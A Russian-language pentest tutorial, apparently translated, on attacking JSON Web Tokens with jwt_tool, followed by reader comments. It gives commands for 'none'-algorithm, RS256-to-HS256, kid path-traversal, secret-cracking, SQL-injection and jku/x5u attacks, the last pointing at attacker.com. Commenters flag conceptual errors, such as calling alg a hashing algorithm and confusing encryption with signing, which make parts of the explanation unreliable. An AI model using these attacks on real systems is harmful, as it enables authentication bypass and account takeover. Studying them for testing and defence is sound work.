Атаки на JSON Web Tokens


    Содержание:


    • Что такое JWT?
      • Заголовок
      • Полезная нагрузка
      • Подпись
      • Что такое SECRET_KEY?
    • Атаки на JWT:
      • Базовые атаки:
        1. Нет алгоритма
        2. Изменяем алгоритм с RS256 на HS256
        3. Без проверки подписи
        4. Взлом секретного ключа
        5. Использование произвольных файлов для проверки
      • Продвинутые атаки:
        1. SQL-инъекция
        2. Параметр поддельного заголовка
        3. Внедрение заголовка ответа HTTP
        4. Прочие уязвимости

    Что такое JSON Web Token?


    Веб-токен JSON обычно используется для авторизации в клиент-серверных приложениях. JWT состоит из трех элементов:


    • Заголовок
    • Полезная нагрузка
    • Подпись

    Заголовок


    Это объект JSON, который представляет собой метаданные токена. Чаще всего состоит из двух полей:


    • Тип токена
    • Алгоритм хэширования

    Официальный сайт предлагает два алгоритма хэширования:


    • «HS256»
    • «RS256»

    Но на самом деле любой алгоритм с приватным ключом может быть использован.


    Полезная нагрузка


    Это также объект JSON, который используется для хранения такой информации о пользователе, как:


    • идентификатор
    • имя пользователя
    • роль
    • время генерации токена и т.д.

    Подпись


    Это наиболее важная часть, поскольку она определяет целостность токена путем подписания заголовка и полезной нагрузки в кодировке Base64-URL, разделенных точкой (.) с секретным ключом. Например, чтобы сгенерировать токен с помощью алгоритма HS256, псевдокод будет таким:


    // Use Base64-URL algorithm for encoding and concatenate with a dotdata = (base64urlEncode(header) + '.' + base64urlEncode(payload))// Use HS256 algorithm with "SECRET_KEY" string as a secretsignature = HMACSHA256(data , SECRET_KEY)// Complete token
    JWT = data + "." + base64UrlEncode(signature)


    Что такое SECRET_KEY?


    Как правило, JWT может быть сгенерирован с помощью двух механизмов шифрования, таких как:


    • Симметричное
    • Ассиметричное

    Симметричное шифрование:


    Этот механизм требует единственного ключа для создания и проверки JWT.


    Например, пользователь "Vasya" сгенерировал JWT с «h1dd1n_m1ss1g3» в качестве секретного ключа. Любой человек, знающий этот ключ, может с его помощью изменить токен. JWT при этом останется действительным.


    Самый распространенный алгоритм для этого типа — HS256.


    Асимметричное шифрование:


    Этот механизм требует открытого ключа для проверки и закрытого ключа для подписи.


    Например, если "Vasya" использовал это шифрование, то он единственный, кто может создать новый токен, используя закрытый ключ, тогда как "Petya" может только проверить токен с помощью открытого ключа, но не может его изменить.


    Наиболее распространенный алгоритм для этого типа — RS256.



    Атаки на JWT


    Чтобы подделать токен, необходимо иметь правильные ключи (например, секретный ключ для HS256, открытый и закрытый ключи для RS256), но если конфигурация JWT не реализована правильно, то есть много способов обойти элементы управления, которые позволяют изменить токен и получить несанкционированный доступ.


    Базовые атаки


    Для выполнения всех этих атак нам понадобиться JWT_Tool


    1. Нет алгоритма


    Если приложению не удается проверить значение заголовка «alg», то мы можем изменить его значение на «none», и таким образом оно исключает необходимость действительной подписи для проверки. Например:


    // Modified Header of JWT after changing the "alg" parameter{
      "alg": "none",
      "typ": "JWT"
    }

    Команда:


    python3 jwt_tool.py <JWT> -X a


    Здесь jwt_tool создал различные полезные нагрузки для использования этой уязвимости и обхода всех ограничений, пропустив раздел «Подпись».


    2. Изменяем алгоритм с RS256 на HS256


    Как было сказано выше, алгоритму RS256 нужен закрытый ключ для подделки данных и соответствующий открытый ключ для проверки подлинности подписи. Но если мы сможем изменить алгоритм подписи с RS256 на HS256, мы заставим приложение использовать только один ключ для выполнения обеих задач, что является нормальным поведением алгоритма HMAC.


    Таким образом рабочий процесс будет преобразован из асимметричного в симметричное шифрование. Теперь мы можем подписывать новые токены тем же открытым ключом.


    Команда:


    python3 jwt_tool.py <JWT> -S hs256 -k public.pem

    В данном случае мы сначала загружаем открытый ключ (public.pem) из приложения, а затем подписываем токен с помощью алгоритма HS256, используя этот ключ. Таким образом, мы можем создавать новые токены и вставлять полезную нагрузку в любое существующее утверждение.


    3. Без проверки подписи


    Иногда при фаззинге данных в разделе заголовка и полезной нагрузки приложение не возвращает ошибку. Это значит, что подпись не проверяется после того, как она была подписана сервером авторизации. Таким образом, мы можем вставить любую полезную нагрузку в заявку, а токен всегда будет действительным.


    Команда:


    python3 jwt_tool.py <JWT> -I -pc name -pv admin

    Здесь часть подписи не проверяется, а значит можно смягчить утверждение «имени» в разделе полезной нагрузки, сделав себя «администратором».


    4. Взлом секретного ключа


    Мы можем получить доступ к файлу SECRET_KEY с помощью уязвимостей, таких как


    • LFI
    • XXE
    • SSRF

    Если это невозможно, то все равно можно провести другие атаки, чтобы проверить, использует ли токен какую-либо слабую секретную строку для шифрования.


    Для этой цели можно использовать расширение BurpSuite под названием JWT Heartbreaker.


    Такое раскрытие поставит под угрозу весь механизм безопасности, поскольку теперь мы можем генерировать произвольные токены с секретным ключом.


    Но чтобы убедиться, что полученная нами строка является действительным ключом SECRET_KEY или нет? Мы можем использовать функцию Crack в jwt_tool.


    Команда:


    python3 jwt_tool.py <JWT> -C -d secrets.txt 
    // Use -p flag for a string


    5. Использование произвольных файлов для проверки


    Key ID (kid) – это необязательный заголовок, имеющий строковый тип, который используется для обозначения конкретного ключа, присутствующего в файловой системе или базе данных, а затем использования его содержимого для проверки подписи. Этот параметр полезен, если приложение имеет несколько ключей для подписи токенов, но может быть опасным, если он является инъекционным, поскольку в этом случае злоумышленник может указать на конкретный файл, содержимое которого предсказуемо.


    Например, «/dev/null» называется нулевым файлом устройства и всегда ничего не возвращает, поэтому он отлично работает в системах на основе Unix.


    Команда:


    python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

    В качестве альтернативы можно использовать любой файл, присутствующий в корневом веб-каталоге, например, CSS или JS. Также можно использовать его содержимое для проверки подписи.


    Другое решение проблемы:


    python3 jwt_tool.py -I -hc kid -hv "путь / к / файлу" -S hs256 -p "Содержимое файла"

    Продвинутые атаки:


    1. SQL-инъекция


    Эта уязвимость может возникнуть, если любой параметр, который извлекает какое-либо значение из базы данных, не очищается должным образом. Благодаря чему можно решать CTF задачи.


    Например, если приложение использует алгоритм RS256, но открытый ключ виден в заявлении «pk» в разделе Payload, тогда можно преобразовать алгоритм подписи в HS256 и создавать новые токены.


    Команда для подсчета количества столбцов:


    python3 jwt_tool.py <JWT> -I -pc name -pv "imparable' ORDER BY 1--" -S hs256 -k public.pem// Increment the value by 1 until an error will occur

    2. Параметр поддельного заголовка


    JSON Web Key Set (JWKS) — это набор открытых ключей, которые используются для проверки токена. Вот пример:



    Этот файл хранится на доверенном сервере, приложение может указывать на этот файл через параметры заголовка:


    • «jku»
    • «x5u»

    Но мы можем управлять URL-адресом с помощью таких уловок, как:


    • открытый редирект
    • добавление символа @ после имени хоста и т. д.

    Затем мы можем перенаправить Приложение на наш вредоносный сервер вместо доверенного сервера и генерировать новые токены, так как мы контролируем как открытые, так и закрытые ключи.


    JSON Set URL (jku):


    Этот параметр указывает на набор открытых ключей в формате JSON (атрибуты n и e в JWKS), а «jwt_tool» автоматически создает файл JWKS с именем «jwttool_custom_jwks.json» для этой атаки при первом запуске инструмента после установки.


    Команда:


    python3 jwt_tool.py <JWT> -X s -ju "https://attacker.com/jwttool_custom_jwks.json"

    X.509 URL (x5u):


    Этот параметр указывает на сертификат открытого ключа X.509 или цепочку сертификатов (атрибут x5c в JWKS). Вы можете сгенерировать этот сертификат с соответствующим закрытым ключом следующим образом:


    openssl req -newkey rsa:2048 -nodes -keyout private.pem -x509 -days 365 -out attacker.crt -subj "/C=AU/L=Brisbane/O=CompanyName/CN=pentester"

    Здесь с использованием OpenSSL сертификат был создан в «attacker.crt», который теперь может быть встроен в файл JWKS с атрибутом «x5c», а его эксплуатация может осуществляться следующим образом:


    python3 jwt_tool.py <JWT> -S rs256 -pr private.pem -I -hc x5u -hv "https://attacker.com/custom_x5u.json"

    Встроенные открытые ключи:


    Если сервер встраивает открытые ключи непосредственно в токен с помощью параметров «jwk» (JSON Web Key) или «x5c» (цепочка сертификатов X.509), попробуйте заменить их своими собственными открытыми ключами и подписать токен соответствующим закрытым ключом.


    3. Внедрение заголовка ответа HTTP


    Предположим, что если приложение ограничивает любой управляемый URL-адрес в параметрах «jku» или «x5c», тогда мы можем использовать уязвимость внедрения заголовка ответа, чтобы добавить встроенный JWKS в ответ HTTP и заставить приложение использовать это для проверки подписи.


    4. Прочие уязвимости


    Веб-токены JSON – это еще одна форма пользовательского ввода, все параметры в которой должны быть очищены должным образом, иначе это может привести к уязвимостям, таким как:


    • LFI
    • RCE и другим.

    Но это не означает, что приложение по-прежнему безопасно, ведь, если злоумышленник не может подделать JWT, он попытается украсть их с помощью неправильной конфигурации:


    • XSS
    • CSRF
    • CORS и т. д.

    Удачных пентестов!


    image

    AlexHost
    AlexHost — надежный хостинг по доступным ценам!

    Comments 25

      +6
      Заголовок [...] Чаще всего состоит из двух полей: [...] Алгоритм хэширования

      alg — это не алгоритм хэширования. Это вообще криптографический алгоритм (RFC 7515). И они будут отличаться в зависимости от того, JWS у ваc, или JWE.


      Официальный сайт предлагает два алгоритма хэширования:

      Нет никакого "официального сайта". Есть RFC 7519 (с обновлениями).


      Но на самом деле любой алгоритм с приватным ключом может быть использован.

      Что такое "алгоритм хэширования с приватным ключом"? Правильно, нет такой вещи. Смотри первый пункт в этом комментарии. И нет, в alg может быть не любой алгоритм: JWS, JWE.


      Как правило, JWT может быть сгенерирован с помощью двух механизмов шифрования

      … и дальше хорошо видно, что вы путаете шифрование с подписанием.


      если конфигурация JWT не реализована правильно

      Что такое "конфигурация JWT"? На стороне издателя или на стороне проверяющего?


      (но вообще, конечно, приведенные атаки — это наглядная иллюстрация того, почему не надо делать свою собственную безопасность на основе JWT, а надо брать готовые решения, желательно стандартизованные)

        0
        > приведенные атаки
        А вы можете объяснить, каким боком тут вообще SQL-инъекция?

        P.S. Мне кажется, что это вообще-то перевод: medium.com/bugbountywriteup/attacking-json-web-tokens-jwts-d1d51a1e17cb
          +1

          Приблизительно при этом: "Веб-токены JSON – это еще одна форма пользовательского ввода". Грубо говоря, если кто-то от большого ума взял значение из пришедшего токена, и запихнул его в SQL-запрос (например, чтобы найти издателя по пришедшему идентификатору) без соответствующей обработки, то можно получить SQL-инъекцию.


          Это, понятное дело, атака не на токен, а с помощью токена. И она предполагает, что выполнилось множество предусловий.

            0
            Так я именно об этом. Это имеет к токену точно такое же отношение, как к… ну в общем, притянуто за уши.

            Ну и да, если взглянуть на оригинал, то большая часть проблем — они оттуда.
              0
              Это имеет к токену точно такое же отношение, как к… ну в общем, притянуто за уши.

              Полностью согласен.


              Ну и да, если взглянуть на оригинал, то большая часть проблем — они оттуда.

              А какая разница, откуда? Все равно в итоге тут написана чушь.

                +3
                Для нас — никакой. А вот автор, раз не поставил значок «перевод» — отвечает за ошибки сам. По-идее.
                  +3

                  Даже если поставил — всё равно отвечает, ибо нефиг переводить чушь.

                    +1
                    Ну в общем да. Но все-таки, в случае перевода можно приписать что-то типа: «Во, смотрите какую неоднозначную чушь пишут на медиуме» :)
            +2
            Мне кажется, что это вообще-то перевод: medium.com/bugbountywriteup/attacking-json-web-tokens-jwts-d1d51a1e17cb

            О, ваше гугль-фу лучше моего. Я смог найти только вот это: https://www.slideshare.net/OWASP_Poland/opd-2019-attacking-jwt-tokens


            Нехорошо, да.

          +2
          ля, самая простая ошибка, которую допускают при использовании JWT (лично сталкивался) — это использование данных, хранящихся в токене на бэкэндах без валидации. Ну типа есть у нас токен с юзеридом, ролью, аваторкой, логином и прочими данными. Так вот, роль пользователя при проверке доступа на бэкэнде бралась из токена, а не из базы, что могло привести к ситуациям, когда юзера разжаловали из админов, а токен еще не истек, соответственно для бэкэнда этот юзер был до сих пор в админах. Либо еще вариант — когда юзер уален из базы, а токен опять же еще не истек, и этот юзер может получать данные, как авторизованный. Ситуация хоть и довольно специфическая, но в ряде случаев может привести ко всяким казусам, а в случае кибербулингаатаки и вовсе сыграть на руку всяким злоумышленникам
            +2

            Но если брать данные из базы — то зачем вообще токен?

              0
              для фронтэнда, как хранилище пользовательской инфы без дополнительных сущностей. Если фронт отобразит неактуальную инфу, это не страшно, а вот если эта неактуальная инфа используется для выполнения каких-либо операций, это становится проблемой. И что страшного в лишнем запросе к базе или кэшу? Оптимизация? Если оптимизация ухудшает безопасность — нафиг такую оптимизацию, ящитаю
                +2

                А зачем для фронтэнда полноценный JWT? Он же бэку доверяет, а значит может запросить информацию о пользователе через API в произвольной форме.


                И что страшного в лишнем запросе к базе или кэшу?

                Да ничего страшного, просто если мы такой запрос делаем — нам JWT нахрен не нужен.

                  0
                  Как раз чтобы лишний запрос к апи не делать. Обработка запроса все же более затратная операция, чем получение данных из базы/кэша. Использовать JWT без валидации можно только в том случае, если операция не требует актуальной инфы о пользователе, но как правило, для выполнения подобных операций и авторизация не всегда нужна.
                    0

                    Но ведь фронт как-то JWT получает? В этот момент можно и любую информацию о пользователе получить, только её не обязательно в токен включать.

                      0
                      Ну да, оно так и работает, но есть ньюанс — пока токен не истек, его можно хранить и использовать. Так как для выполнения критических операций все равно требуется валидация пользовательской инфы, время жизни токена можно увеличить без ущерба для безопасности (если не рассматривать ситуации, когда у юзера воруют этот самый токен, т.к. угнав даже истекший токен его можно обновить, OAuth в этом плане побезопаснее, т.к. токены там одноразовые, в том числе и refresh-токен), что позволяет не запрашивать данные при перезагрузке страницы.
                      Еще один плюс — если мы берем пользовательскую инфу из базы, можно при выполнении операции сравнить ее с данными, хранящимися в токене, и при несоответствии одного из полей сразу выдавать новый токен с обновленной инфой. Короче удобная штука получается
                        +1
                        А за что минус-то? Если я где-то неправ, поправьте
                          0
                          Ну я так думаю ошибка в том, что инвалидация токена это совсем другая проблема и решается она по другому. Так что в брать роль с токена это нормально. А ваше решение возвращает нас назад к сессиям…
                            0

                            JWT как технология как раз и был придуман, чтобы избежать лишних запросов к сторонним данным на бэке на каждый чих.


                            С развитием REST количество запросов к бэку для рендера одной страницы увеличилось в несколько раз, при этом сессии не всегда можно использовать (микросервисы, серверлесс и т.д.). Проверка данных пользователя это зачастую тяжелая операция и делать ее на каждый вызов API — большие накладные расходы.


                            С JWT мы можем один раз сгенерировать токен с необходимыми данными и затем на бэке просто проверять, что токен нас не обманывает (проверка подписи с каким-нибудь кэшированным или хардкод ключем).


                            Действительно — у JWT токенов есть потенциальные проблемы с тем, что данные токена могут не отражать реальной картины, однако это просто особенность технологии, которая имеет свои решения.

                +1

                Токены можно давать допустим на час.

                  0
                  При отсутствии валидации даже 15 минут — это дохрена, а час и подавно. Опять же зависит от области применения — если сервис, использующий JWT не выполняет критических для системы операций, либо не работает с конфиденциальными данными, то такой подход и может быть оправдан. Если работает — такое использование JWT создает дыру в безопасности сервиса
                  0
                  Только вот сервис, который получает JWT — это совсем не тот сервис, который JWT выдаёт. Доступа к базе пользователей сервис-получатель не имеет и для валидации должен сделать дополнительный запрос к API сервиса управления пользователями.
                  И это ничем не лучше, чем дополнительный запрос к API из front-end.
                    0
                    ну так это уже особенности архитектуры, в описаном мной случае доступ к базе есть
                    0
                    шлюз с базой отозванных токенов
                    0
                    Да уж… Статья не про атаки на JWT, а про возможные атаки с помощью JWT на системы, криво настроенные/написанные.
                    Лучше было бы написать о том, про что надо не забыть, используя JWT… И про валидацию, и про срок жизни, и про надёжное хранению ключей.

                    Only users with full accounts can post comments. Log in, please.